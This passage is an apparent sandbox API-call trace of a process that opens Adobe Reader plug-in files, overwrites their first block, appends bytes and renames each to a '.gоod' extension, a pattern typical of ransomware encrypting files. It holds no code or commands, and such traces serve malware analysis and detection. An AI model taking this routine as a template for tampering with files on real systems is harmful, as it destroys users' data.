DC\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.384] GetFileType (hFile=0x7b0) returned 0x1 [0091.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0091.385] GetFileType (hFile=0x7b0) returned 0x1 [0091.385] ReadFile (in: hFile=0x7b0, lpBuffer=0x364fb78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x364fb78*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0091.427] CloseHandle (hObject=0x7b0) returned 1 [0091.427] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", lpFilePart=0x0) returned 0x49 [0091.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0091.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.427] GetFileType (hFile=0x7b0) returned 0x1 [0091.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0091.427] GetFileType (hFile=0x7b0) returned 0x1 [0091.427] WriteFile (in: hFile=0x7b0, lpBuffer=0x364e8d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x364e8d0*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0091.427] CloseHandle (hObject=0x7b0) returned 1 [0091.427] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api", lpFilePart=0x0) returned 0x49 [0091.427] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api.gоod", lpFilePart=0x0) returned 0x4e [0091.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0091.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x32b43442, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x71bc73)) returned 1 [0091.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0091.428] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annots.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annots.api.gоod")) returned 1 [0091.730] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", lpFilePart=0x0) returned 0x4b [0091.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0091.731] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api"), fInfoLevelId=0x0, lpFileInformation=0x3541530 | out: lpFileInformation=0x3541530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0298732, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc6463)) returned 1 [0091.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0091.731] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", lpFilePart=0x0) returned 0x4b [0091.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0091.731] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.732] GetFileType (hFile=0x7b0) returned 0x1 [0091.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0091.732] GetFileType (hFile=0x7b0) returned 0x1 [0091.732] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0091.732] ReadFile (in: hFile=0x7b0, lpBuffer=0x3541958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3541958*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0091.733] CloseHandle (hObject=0x7b0) returned 1 [0091.733] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", lpFilePart=0x0) returned 0x4b [0091.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0091.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.734] GetFileType (hFile=0x7b0) returned 0x1 [0091.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0091.734] GetFileType (hFile=0x7b0) returned 0x1 [0091.734] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0xc6463 [0091.734] WriteFile (in: hFile=0x7b0, lpBuffer=0x3542d38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x3542d38*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0091.735] CloseHandle (hObject=0x7b0) returned 1 [0091.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", lpFilePart=0x0) returned 0x4b [0091.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0091.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0091.736] GetFileType (hFile=0x7b0) returned 0x1 [0091.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0091.736] GetFileType (hFile=0x7b0) returned 0x1 [0091.736] ReadFile (in: hFile=0x7b0, lpBuffer=0x3545118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x3545118*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0091.866] CloseHandle (hObject=0x7b0) returned 1 [0092.241] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", lpFilePart=0x0) returned 0x4b [0092.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0092.241] GetFileType (hFile=0x7b0) returned 0x1 [0092.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.241] GetFileType (hFile=0x7b0) returned 0x1 [0092.241] WriteFile (in: hFile=0x7b0, lpBuffer=0x335a8b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x335a8b0*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0092.241] CloseHandle (hObject=0x7b0) returned 1 [0092.241] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api", lpFilePart=0x0) returned 0x4b [0092.242] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api.gоod", lpFilePart=0x0) returned 0x50 [0092.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0092.242] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe0298732, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x33329286, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc6473)) returned 1 [0092.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0092.242] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Checkers.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\checkers.api.gоod")) returned 1 [0092.243] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", lpFilePart=0x0) returned 0x49 [0092.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0092.243] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api"), fInfoLevelId=0x0, lpFileInformation=0x3399050 | out: lpFileInformation=0x3399050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe033104d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x145e63)) returned 1 [0092.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0092.244] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", lpFilePart=0x0) returned 0x49 [0092.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0092.244] GetFileType (hFile=0x7b0) returned 0x1 [0092.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.244] GetFileType (hFile=0x7b0) returned 0x1 [0092.244] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0092.244] ReadFile (in: hFile=0x7b0, lpBuffer=0x3399468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3399468*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0092.246] CloseHandle (hObject=0x7b0) returned 1 [0092.246] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", lpFilePart=0x0) returned 0x49 [0092.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0092.246] GetFileType (hFile=0x7b0) returned 0x1 [0092.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.246] GetFileType (hFile=0x7b0) returned 0x1 [0092.246] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x145e63 [0092.246] WriteFile (in: hFile=0x7b0, lpBuffer=0x339a700*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x339a700*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0092.248] CloseHandle (hObject=0x7b0) returned 1 [0092.248] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", lpFilePart=0x0) returned 0x49 [0092.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0092.248] GetFileType (hFile=0x7b0) returned 0x1 [0092.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.248] GetFileType (hFile=0x7b0) returned 0x1 [0092.248] ReadFile (in: hFile=0x7b0, lpBuffer=0x339db28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x339db28*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0092.279] CloseHandle (hObject=0x7b0) returned 1 [0092.279] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", lpFilePart=0x0) returned 0x49 [0092.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0092.280] GetFileType (hFile=0x7b0) returned 0x1 [0092.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.280] GetFileType (hFile=0x7b0) returned 0x1 [0092.280] WriteFile (in: hFile=0x7b0, lpBuffer=0x339c880*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x339c880*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0092.280] CloseHandle (hObject=0x7b0) returned 1 [0092.280] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", lpFilePart=0x0) returned 0x49 [0092.280] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api.gоod", lpFilePart=0x0) returned 0x4e [0092.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0092.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe033104d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x33375585, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x145e73)) returned 1 [0092.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0092.280] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api.gоod")) returned 1 [0092.281] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", lpFilePart=0x0) returned 0x51 [0092.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0092.281] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api"), fInfoLevelId=0x0, lpFileInformation=0x341b060 | out: lpFileInformation=0x341b060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda84b68a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2f463)) returned 1 [0092.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0092.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", lpFilePart=0x0) returned 0x51 [0092.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0092.647] GetFileType (hFile=0x7ac) returned 0x1 [0092.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.648] GetFileType (hFile=0x7ac) returned 0x1 [0092.648] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0092.648] ReadFile (in: hFile=0x7ac, lpBuffer=0x36f2cb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x36f2cb8*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0092.657] CloseHandle (hObject=0x7ac) returned 1 [0092.657] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", lpFilePart=0x0) returned 0x51 [0092.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.657] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0092.658] GetFileType (hFile=0x7ac) returned 0x1 [0092.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0092.658] GetFileType (hFile=0x7ac) returned 0x1 [0092.658] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x2f463 [0092.658] WriteFile (in: hFile=0x7ac, lpBuffer=0x36f7e78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x36f7e78*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0092.659] CloseHandle (hObject=0x7ac) returned 1 [0092.659] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", lpFilePart=0x0) returned 0x51 [0092.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0092.659] CreateFileW 